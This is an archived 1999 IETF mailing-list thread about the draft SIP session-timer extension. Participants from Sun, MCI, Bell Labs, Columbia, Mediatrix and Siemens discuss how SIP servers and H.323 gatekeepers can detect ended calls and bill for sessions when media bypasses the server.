Date: Thu, 11 Feb 1999 17:20:55 -0800
To: "Francois Menard Distribution List Management Account" <fm-listproc@mediatrix.com>,
        "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "'Pat.Calhoun@Eng.Sun.COM'" <Pat.Calhoun@Eng.Sun.COM>
Reply-To: <Pat.Calhoun@Eng.Sun.COM>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
X-Mailer: Sun NetMail 2.2.5
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>There is no way to properyly time the session unless the end-point is a
>controlled network element.  A gatekeeper and/or SIP server cant do anything
>unless the media stream gets through it ... of course, a SIP server, and or
>H.323 gatekeeper can talk to routers, which control an IP media stream, and
>affect the media stream.
>
>Even worse, a sip server / gatekeeper that wishes to track the end of a call
>so that it can bill by the second needs to worry about end points that just
>go out and die and never send an end of conversation ... this mechanism is
>not yet specified ...

Yes the cellular network that the same problem, hence the "end" button
on your phone. This would require a periodical update from the SIP Client 
to the SIP Server (a refresh of some sort).

PatC
>
>-=Francois=-
>
>-----Original Message-----
>From: Pat.Calhoun@Eng.Sun.COM [mailto:Pat.Calhoun@Eng.Sun.COM]
>Sent: Thursday, February 11, 1999 6:22 PM
>To: Donovan, Steven R. (MCI); 'confctrl@ISI.EDU';
>'iptel@lists.research.bell-labs.com'; 'Pat.Calhoun@Eng.Sun.COM'
>Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
>
>
>
>>
>>
>>> -----Original Message-----
>>> From:	Pat.Calhoun@Eng.Sun.COM [SMTP:Pat.Calhoun@Eng.Sun.COM]
>>> Sent:	Thursday, February 11, 1999 1:02 PM
>>> To:	Donovan, Steven R. (MCI); 'iptel@lists.research.bell-labs.com';
>>> 'confctrl@ISI.EDU'
>>> Subject:	RE: draft-ietf-mmusic-sip-session-timer-00.txt
>>> 
>>> Pardon the perhaps very naive question, but I suppose I am not as versant
>>> in 
>>> SIP as I would like to be.
>>> 
>>> My understanding is that a SIP Client issues an Invite message to a SIP
>>> Server,
>>> which in turn forwards the request to a target SIP Client (or some GW or
>>> some
>>> sort). Once the ACK has returned to the originating client, I was under
>>> the
>>> impression that both SIP Clients send RTP packets directly to each other,
>>> bypassing the SIP Server (this is where I am unclear).
>>> 
>>	This depends on the implementation of the SIP Server.  There are
>>valid reasons to have the SIP Server proxy the IP packets.  But in general,
>>you are correct.  There will be SIP Servers that do not have a view of the
>>RTP flow.
>>
>>> So if this is true, how will a SIP Server (stateful, or stateless)
>enforce
>>> any
>>> session timeouts? A malicious SIP Client can simply keep the session
>>> active
>>> for as long as it wishes, ignoring any messages from the SIP Server that
>>> may
>>> tell it to disconnect.
>>> 
>>> This, as far as I can see, could cause some serious problems if one
>wishes
>>> to
>>> deploy a service and still maintain some control over the sessions.
>>> 
>>> Again, perhaps I am way off here. Any clarifications would certainly be 
>>> appreciated.
>>> 
>>	You are correct and I personally would not rely on reporting from
>>the SIP Server to do reliable billing.  However, if a stateful SIP Proxy
>>server is built, for whatever reason, the current SIP specification does
>not
>>have a mechanism for the SIP server to know which of the sessions for which
>>it has state are valid.  This draft gives the SIP Server a mechanism to
>>remove those sessions that it feels are no longer valid.
>>
>>	The amount of control that a SIP server exerts over sessions is a
>>separate issue.  As John Hearty accurately points out in a separate email,
>>the user of the SIP device can choose to bypass the SIP server entirely.
>>The challenge for service providers will be to implement services that make
>>user's want to access the service provider's SIP server.
>
>This is not actually true. It is quite simple for service providers to
>install
>a set of filters in their systems that require that all RTP traffic be
>directed
>to one of their local SIP Servers.
>
>Note that I am not advocating such an idea. I like free service, but one
>must
>realize that free services are rarely every deployed by the services 
>providers :(
>
>PatC
>>
>>> PatC
>>> 
>>> >This time with the draft attached.  Sorry for the extra mail.
>>> >
>>> >Steve
>>> >
>>> > <<draft-ietf-mmusic-sip-session-timer-00.txt>> 
>>> >
>>> >> -----Original Message-----
>>> >> From:	Donovan, Steven R. (MCI) 
>>> >> Sent:	Thursday, February 11, 1999 10:17 AM
>>> >> To:	'confctrl@ISI.EDU'; 'iptel@lists.research.bell-labs.com'
>>> >> Subject:	draft-ietf-mmusic-sip-session-timer-00.txt
>>> >> 
>>> >> This message is notification of the following Internet Draft which has
>>> >> been submitted to the IETF for posting.
>>> >> 
>>> >> <draft-ietf-mmusic-sip-session-timer-00.txt> 
>>> >> 
>>> >> Abstract: 
>>> >> 
>>> >> This document proposes an extension to the SIP specification.  This
>>> >> extension adds a new message header that is used to specify the 
>>> >> duration of a requested session.
>>> >> 
>>> >> The session timer can be used to limit the total duration of a session
>>> >> if, for instance, one of the participants in the session wants to
>>> >> limit the cost of the session.  It can also be used by stateful SIP
>>> >> Proxy Servers to track the status of sessions for which session state
>>> >> exists on the servers. Currently a stateful SIP Proxy Server that is 
>>> >> not handling the media stream(s) for the session has no mechanism to 
>>> >> definitively determine the state of all sessions for which it has
>>> state.
>>> >> While the SIP Specification does provide the BYE method for
>terminating
>>> >> the session, there is no mechanism for a SIP Proxy Server to detect
>the
>>> >> end of a session when the BYE message is not sent or is lost due to 
>>> >> network problems.
>>> >> 
>>> >> The internet draft is attached.
>>> >> 
>>> >> Steve Donovan
>>> >> MCIWorldcom
>>> 
>
>
>
>---------
>This message came from the IETF IPTEL Working Group Mailing List.



From confctrl-owner  Thu Feb 11 17:42:41 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA05868
	for confctrl-outgoing; Thu, 11 Feb 1999 17:42:41 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA05860
	for <confctrl@zephyr.isi.edu>; Thu, 11 Feb 1999 17:42:39 -0800 (PST)
Received: from fep8.mail.ozemail.net (fep8.mail.ozemail.net [203.2.192.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA19353
	for <confctrl@isi.edu>; Thu, 11 Feb 1999 17:42:37 -0800 (PST)
Received: from dcloweslap (h166.unit21.ozemail.com.au [203.108.13.166]) by fep8.mail.ozemail.net (8.9.0/8.6.12) with SMTP id MAA11485; Fri, 12 Feb 1999 12:42:12 +1100 (EST)
Message-Id: <3.0.3.32.19990212124447.007603a8@mail.ozemail.com.au>
X-Sender: dclowes@mail.ozemail.com.au
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Fri, 12 Feb 1999 12:44:47 +1100
To: <Pat.Calhoun@Eng.Sun.COM>, <Pat.Calhoun@Eng.Sun.COM>,
        "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>
From: Douglas Clowes <dclowes@ozemail.com.au>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
Cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>,
        "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
In-Reply-To: <199902120009.QAA27818@hsmpka.eng.sun.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 16:05 1999-02-11 -0800, Patrice Calhoun wrote:

People talking about completely different subjects in the same thread is
possible - been there, done that, got the flame-broiled t-shirt.

>Well, perhaps I missed something fundamental here, but my understanding is
that
>what we have here is analogous to two telephones using the PSTN to get the
>call endpoint established, and then completely ignores the PSTN. 
>

I don't think that the analogy quite fits.

In the PSTN world (which varies from country to country, if not county to
county) you have a {C|I}LEC which controls your access to services. Beyond
them is the long-distance carrier, which the LEC may control, or you may
have choices. Beyond that is the international carrier, and then ... the
terminating LEC. The LEC desires to control your choices all the way, and
only legislation prevents them from doing so, but only to the extent of the
long-distance carrier.

The IP world is different (in case you haven't noticed :), because (I
think) that once you have selected your LEC-equivalent access provider,
your carriers are fixed. You can, however, choose the services you use in
the IP world, just as you choose the numbers you dial in the PSTN world. IP
telephony is a service in the IP world.

The connection-broker and the carrier may be different in the IP world, but
not the PSTN world. You use the connection-broker to get the call
connected, and then the IP-carrier to continue the call. There will
possibly be connection-broker service providers who want to tie you in and
sell you a transport service that they don't provide, and you already pay
for to your ISP. Avoid them.

To extend the model, in cases where you are using a PSTN gateway to egreee
into the POTS world, there may be another service provider involved. This
is a service you may not be able to avoid.

If you use your POTS phone and an ingress gateway, there may be yet another
service provider involved. They will have more success in charging you for
transport, which they do provide, and egress, for which they have to pay.

>If this is the case, certainly the PSTN carrier can charge for the initial 
>endpoint resolution information, but is not involved at all afterwards. So
>an intelligent user could figure out what physical port on which switch to
>contact to get to his mother, and completely bypass the IN.

If your mother has an IP phone, and she tells you her IP address, go for
it. If you have to pay someone for it, keep it. If it's dynamic, you'll
have to get it each time ...

If your mother has a black phone, and her switch provider lets you do that,
go for it. I think they'll want to charge you, or her, for access.

>My only concern here is how does the service provider offer a service *and*
>make at least enough money to recover the capital costs (of course, certain
>providers may want to cover many additional costs, which is outside the scope
>of this discussion :).

Well, I think the terms "what the market will bear", and "supply and
demand" may come into effect here. The term "caveat emptor" should too,
because there are people out there who will ask you to pay for the air you
breath (some people call them "government").

The question I ask, is what service is the provider actually providing, and
what are the capital cost involved. Also, unless there is a healthy profit
margin, most entrepreneurs will take their capital somewhere that there is.

Your access provider (ISP) may charge you by the connect-second, by the
calendar-month, by the byte, or all of the above. They have to provide you
with access, and backbone transport, and that's about it. Is your ISP
charging $19.95/month flat-rate? A cable modem here will cost you $65/month
plus $0.30/Mb. Either way, we already pay for connection and transport.

What is the Internet Telephony Service Provider (ITSP) providing if you and
your mother both have NetMissing, and you use
DNS/LDAP/key-it-in-dotted-decimal as your connection broker? Well, if you
use a $0.20 per lookup LDAP service ...

No, the major service providers will be ingress/egress gateway service
providers. That's where your PSTN analogies become more real, and so does
the service providers control. And the egress GW service provider has to
pay the terminating LEC for access ...

And when the LEC offers egress GW service in their switch, and charge the
ITSP higher access charges ...

>PatC
>
>DISCLAIMER: I have a funny feeling that I've missed something fundamental
here.
>Please feel free to correct my statement above if it is technically
incorrect.
>

Be carefull you correctly identify which services you provide.

Douglas


From confctrl-owner  Thu Feb 11 17:59:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA06774
	for confctrl-outgoing; Thu, 11 Feb 1999 17:59:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA06767
	for <confctrl@zephyr.isi.edu>; Thu, 11 Feb 1999 17:59:22 -0800 (PST)
Received: from fep8.mail.ozemail.net (fep8.mail.ozemail.net [203.2.192.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA20878
	for <confctrl@ISI.EDU>; Thu, 11 Feb 1999 17:59:19 -0800 (PST)
Received: from dcloweslap (h166.unit21.ozemail.com.au [203.108.13.166]) by fep8.mail.ozemail.net (8.9.0/8.6.12) with SMTP id MAA21266; Fri, 12 Feb 1999 12:59:04 +1100 (EST)
Message-Id: <3.0.3.32.19990212130140.0148bbf4@mail.ozemail.com.au>
X-Sender: dclowes@mail.ozemail.com.au
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Fri, 12 Feb 1999 13:01:40 +1100
To: Francois Menard Distribution List Management Account <fm-listproc@mediatrix.com>,
        "'Pat.Calhoun@Eng.Sun.COM'" <Pat.Calhoun@Eng.Sun.COM>,
        "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>
From: Douglas Clowes <dclowes@ozemail.com.au>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
In-Reply-To: <F16674FCE856D211AC0D00E02910AE0A07B517@INTERNAL>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bonjour Francois, Ca va?

It's about the services that you provide, and the services that you like to
charge for.

If you sell the users Mediatrix gateways, then it is their capital
investment, they would like to be in control, and amortize their
investments. They don't want to pay you for each second they use them, no
matter how much you would like them to.

If they are your gateways, that you connect to the PSTN, and provide an
egress service, then you should be in control, and you can control charging
for the service.

At 20:04 1999-02-11 -0500, Francois Menard Distribution List Management
Account wrote:
>There is no way to properyly time the session unless the end-point is a
>controlled network element.  A gatekeeper and/or SIP server cant do anything
>unless the media stream gets through it ... of course, a SIP server, and or
>H.323 gatekeeper can talk to routers, which control an IP media stream, and
>affect the media stream.

If it's your gateway (you bought it) and you need it to obey your
controller (SIP server or gatekeeper) and it doesn't, then send it back and
get one that will. If it's your gateway (you bought it) and you don't want
it to obey someone elses controller and it does, send it back and get one
that does what you want it to.

>Even worse, a sip server / gatekeeper that wishes to track the end of a call
>so that it can bill by the second needs to worry about end points that just
>go out and die and never send an end of conversation ... this mechanism is
>not yet specified ...

And if it wishes to bill by the byte, it needs endpoints that will report
resource usage. It needs endpoints that will report periodically, or store
records in non-volatile storage to report when they come up.

Work is in progress, in both ITU SG-16, and ETSI EP-TIPHON.

>-=Francois=-




From confctrl-owner  Thu Feb 11 18:22:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA07920
	for confctrl-outgoing; Thu, 11 Feb 1999 18:22:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA07915
	for <confctrl@zephyr.isi.edu>; Thu, 11 Feb 1999 18:22:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA22831
	for <confctrl@isi.edu>; Thu, 11 Feb 1999 18:22:02 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Feb 11 21:21:24 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.66])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id VAA16275;
	Thu, 11 Feb 1999 21:21:21 -0500 (EST)
Message-ID: <36C38FF9.4D179AF5@dnrc.bell-labs.com>
Date: Thu, 11 Feb 1999 21:20:41 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Pat.Calhoun@Eng.Sun.COM
CC: Douglas Clowes <dclowes@ozemail.com.au>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>,
        "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
References: <199902120009.QAA27818@hsmpka.eng.sun.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Patrice Calhoun wrote:
> 
> My only concern here is how does the service provider offer a service *and*
> make at least enough money to recover the capital costs (of course, certain
> providers may want to cover many additional costs, which is outside the scope
> of this discussion :).

It comes back to the same question thats been brought up here on
numerous occassions - what are you billing for? SIP provides the setup
services, not the transport services. So, it makes sense for a SIP
server to charge for what it actually does - set the call up. It really
doesn't make sense, I don't think, to try to bill by the minute for the
SIP part of the call, since its really a transaction service. SIP is
only one part of the picture, though. There is also transport service -
diffserv prioritization, for example. A service provider can happily
charge by the minute,bit, packet, or whatever here.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Feb 11 18:55:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA09658
	for confctrl-outgoing; Thu, 11 Feb 1999 18:55:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA09615
	for <confctrl@zephyr.isi.edu>; Thu, 11 Feb 1999 18:55:01 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA24919
	for <confctrl@isi.edu>; Thu, 11 Feb 1999 18:54:59 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA06075;
	Thu, 11 Feb 1999 21:54:55 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA03603;
	Thu, 11 Feb 1999 21:54:54 -0500 (EST)
Message-ID: <36C397FE.5168D5B8@cs.columbia.edu>
Date: Thu, 11 Feb 1999 21:54:54 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Pat.Calhoun@Eng.Sun.COM, Douglas Clowes <dclowes@ozemail.com.au>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'iptel@lists.research.bell-labs.com'" 
 <iptel@lists.research.bell-labs.com>,
        "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
References: <199902120009.QAA27818@hsmpka.eng.sun.com> <36C38FF9.4D179AF5@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
> Patrice Calhoun wrote:
> >
> > My only concern here is how does the service provider offer a service *and*
> > make at least enough money to recover the capital costs (of course, certain
> > providers may want to cover many additional costs, which is outside the scope
> > of this discussion :).
> 
> It comes back to the same question thats been brought up here on
> numerous occassions - what are you billing for? SIP provides the setup
> services, not the transport services. So, it makes sense for a SIP
> server to charge for what it actually does - set the call up. It really
> doesn't make sense, I don't think, to try to bill by the minute for the
> SIP part of the call, since its really a transaction service. SIP is
> only one part of the picture, though. There is also transport service -
> diffserv prioritization, for example. A service provider can happily
> charge by the minute,bit, packet, or whatever here.

One argument for a closer relationship between a transport stream and
signaling is that signaling may have access to information not (easily)
available to the lower layers, for example, customer-level strong
authentication. It could be argued that one should fix, say, RSVP to
include this information in the appropriate form since it may well be
needed for other, non-telephony services like media-on-demand.

Another point is that Internet telephony may well fail in more
interesting ways compared to telephones. For example, if I have an
architecture (as in the mbone tools) with separate audio/video media
agents and a signaling application, I may want to terminate the call if
any one of these components dies, as I may loose control over the rest. 
You could easily have the SIP call setup agent stay up (one would hope
so), with the audio agent hung and gone. The customer can't talk and
will demand a refund. Similarly, if the audio agent stays around (in the
background) and merrily sends receiver reports, but the SIP agent has
bid farewell in the French style, the customer also would want to not
pay for this useless session, even if the number called happens to be a
1-900 number with a continuous loop of the daily horoscope.
-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Feb 12 04:56:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA28305
	for confctrl-outgoing; Fri, 12 Feb 1999 04:56:03 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA28300
	for <confctrl@zephyr.isi.edu>; Fri, 12 Feb 1999 04:56:00 -0800 (PST)
Received: from internal.mediatrix.com ([205.237.248.36])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA20479
	for <confctrl@ISI.EDU>; Fri, 12 Feb 1999 04:55:58 -0800 (PST)
Received: by INTERNAL with Internet Mail Service (5.5.2232.9)
	id <DPD1VKS0>; Fri, 12 Feb 1999 07:56:20 -0500
Message-ID: <F16674FCE856D211AC0D00E02910AE0A07B518@INTERNAL>
From: Francois Menard Distribution List Management Account
	 <fm-listproc@mediatrix.com>
To: "'Douglas Clowes'" <dclowes@ozemail.com.au>,
        Francois Menard Distribution List Management Account
	 <fm-listproc@mediatrix.com>,
        "'Pat.Calhoun@Eng.Sun.COM'"
	 <Pat.Calhoun@Eng.Sun.COM>,
        "Donovan, Steven R. (MCI)"
	 <Steven.R.Donovan@mci.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'iptel@lists.research.bell-labs.com'"
	 <iptel@lists.research.bell-labs.com>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Fri, 12 Feb 1999 07:56:19 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Douglas, how is it in the summer in Australia ?

> If they are your gateways, that you connect to the PSTN, and provide an
egress service, then you should be in control, and you can control charging
for the service.

Yes, its pretty easy to track PSTN resource usage, because the media stream
towards the PSTN must go through them ...

> If it's your gateway (you bought it) and you need it to obey your
controller (SIP server or gatekeeper) and it doesn't, then send it back and
get one that will. If it's your gateway (you bought it) and you don't want

I'm not against this scenario, its proven for militarized zones (i.e.
Intranets in entreprises controlled by MIS). Where I worrry is in DMZs,
where an ISP forces me to use its gatekeeper.  That's where I'm saying that
the end point has to become a trusted network element, in the control of the
ISP, in order to bill by the second/bit.  The control of the session becomes
in practice when the routers of the ISP refuse to send bits on the network
on the behalf of non-trusted (to behave according to the ISP's policy) SIP
end point (I guess that's another form of admission control ...).  This is
the way that the MSO's are gearing up their VoIP network presently
(PacketCable).  I.e., if you want to bill by the minute/second/bit, you
either need to route the media stream through the SIP server and/or make the
SIP server control the admission of the bits to the IP layer ... that is,
there needs to be some form of policy decision flowing between a SIP server
and routers that forwards the media stream bits from SIP endpoints ...

>>Even worse, a sip server / gatekeeper that wishes to track the end of a
call
>>so that it can bill by the second needs to worry about end points that
just
>>go out and die and never send an end of conversation ... this mechanism is
>>not yet specified ...
And if it wishes to bill by the byte, it needs endpoints that will report
resource usage. It needs endpoints that will report periodically, or store
records in non-volatile storage to report when they come up.
Work is in progress, in both ITU SG-16, and ETSI EP-TIPHON.

So I can have the following, when a SIP server never gets a BYE, it doesn't
need to ping the end point to see if its still alive, it can simply wait
until the end-point re-REGISTERs, and then flag the call as terminated, and
then, query the end point to tell it how many seconds were spent on line
before the end-point died ... has anybody thought of extending the REGISTER
message to include the duration of the previous call?  I think that this is
a pretty cool idea ;-)  Of course, if the end-point never re-registers, the
timer will still be running ... indefinitely.  We have a new policy on IP
networks, any call of length greater than 1 million minutes is free ...

BTW, I asked the question today to a supplier of H.323 stacks, as to what
generally did the commercial gatekeepers do in practice to track the end of
calls.  The person told me that the gatekeepers generally wait for the next
registration (i.e. their assumption is that the H.323 terminal will
re-register within hours), to flag the call as terminated.  They also rely
on either one of the two legs of the call to send a termination message, so
the case where the two legs are cut off never happens very frequently.  As
to what is the mechanism that a gatekeeper is supposed to use to "ping" the
terminal, that's not in the standard in their opinion.  Personally, I begin
to like the idea of the end-point presenting the duration of the last call
in the registration message ...

-=Francois=-
fmenard@mediatrix.com

From confctrl-owner  Fri Feb 12 05:08:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA28668
	for confctrl-outgoing; Fri, 12 Feb 1999 05:08:35 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA28663
	for <confctrl@zephyr.isi.edu>; Fri, 12 Feb 1999 05:08:33 -0800 (PST)
Received: from zwei.siemens.at (zwei.siemens.at [193.81.246.12])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA20954
	for <confctrl@ISI.EDU>; Fri, 12 Feb 1999 05:08:29 -0800 (PST)
From: ernst.horvath@siemens.at
Received: from scesie04.sie.siemens.at (root@firix-hme0 [10.1.140.1])
	by zwei.siemens.at  with ESMTP id OAA28698;
	Fri, 12 Feb 1999 14:08:24 +0100 (MET)
Received: from scesie03.sie.siemens.at (scesie03.sie.siemens.at [195.1.100.16])
	by scesie04.sie.siemens.at () with ESMTP id OAA08778;
	Fri, 12 Feb 1999 14:08:26 +0100 (MET)
Received: from localhost (root@localhost)
	by scesie03.sie.siemens.at (8.9.1/8.8.6) with SMTP id OAA23184;
	Fri, 12 Feb 1999 14:08:26 +0100 (MET)
X-OpenMail-Hops: 1
Date: Fri, 12 Feb 1999 12:07:36 +0100
Message-Id: <H00011ad0259790c@MHS>
Subject: AW: RE: draft-ietf-mmusic-sip-session-timer-00.txt
MIME-Version: 1.0
TO: confctrl@ISI.EDU, fm-listproc@mediatrix.com,
        iptel@lists.research.bell-labs.com, Pat.Calhoun@Eng.Sun.COM,
        Steven.R.Donovan@mci.com
Content-Type: text/plain; charset=ISO-8859-1; name="BDY.TXT"
Content-Disposition: inline; filename="BDY.TXT"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id FAA28664
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



-----Ursprüngliche Nachricht-----
Von: fm-listproc [SMTP:fm-listproc@mediatrix.com]
Gesendet am: Freitag, 12. Februar 1999 02:05
An: Pat.Calhoun; Steven.R.Donovan; confctrl; iptel
Cc: fm-listproc
Betreff: RE: draft-ietf-mmusic-sip-session-timer-00.txt

There is no way to properyly time the session unless the end-point is a
controlled network element.  A gatekeeper and/or SIP server cant do  
anything
unless the media stream gets through it ... of course, a SIP server,  
and or
H.323 gatekeeper can talk to routers, which control an IP media stream,  
and
affect the media stream.

Even worse, a sip server / gatekeeper that wishes to track the end of a  
call
so that it can bill by the second needs to worry about end points that  
just
go out and die and never send an end of conversation ... this mechanism  
is
not yet specified ...

[Ernst Horvath]  Not quite true - for the gatekeeper, ITU-T  
Recommendation H.225.0 specifies the Disengage message for the regular  
termination of a call (i.e. the gatekeeper is informed immediately upon  
termination), but there is also the Status request/report procedure to  
check the status of an end point. If exchanged at regular intervals  
(say every n seconds, while a call exists), the gatekeeper will notice  
the "death" of an end point with a delay of at most n seconds.

 -=Francois=-

Ernst Horvath
Siemens AG
Emai: ernst.horvath@siemens.at   


From confctrl-owner  Fri Feb 12 06:28:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA01960
	for confctrl-outgoing; Fri, 12 Feb 1999 06:28:08 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA01955
	for <confctrl@zephyr.isi.edu>; Fri, 12 Feb 1999 06:28:06 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA24192
	for <confctrl@isi.edu>; Fri, 12 Feb 1999 06:28:05 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Feb 12 09:26:11 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id JAA13259;
	Fri, 12 Feb 1999 09:26:09 -0500 (EST)
Message-ID: <36C4397F.B7E61E7C@dnrc.bell-labs.com>
Date: Fri, 12 Feb 1999 09:23:59 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Francois Menard Distribution List Management Account <fm-listproc@mediatrix.com>
CC: "'Douglas Clowes'" <dclowes@ozemail.com.au>,
        "'Pat.Calhoun@Eng.Sun.COM'" <Pat.Calhoun@Eng.Sun.COM>,
        "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
References: <F16674FCE856D211AC0D00E02910AE0A07B518@INTERNAL>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Francois Menard Distribution List Management Account wrote:
> 
> > If it's your gateway (you bought it) and you need it to obey your
> controller (SIP server or gatekeeper) and it doesn't, then send it back and
> get one that will. If it's your gateway (you bought it) and you don't want
> 
> I'm not against this scenario, its proven for militarized zones (i.e.
> Intranets in entreprises controlled by MIS). Where I worrry is in DMZs,
> where an ISP forces me to use its gatekeeper.  That's where I'm saying that
> the end point has to become a trusted network element, in the control of the
> ISP, in order to bill by the second/bit.  The control of the session becomes
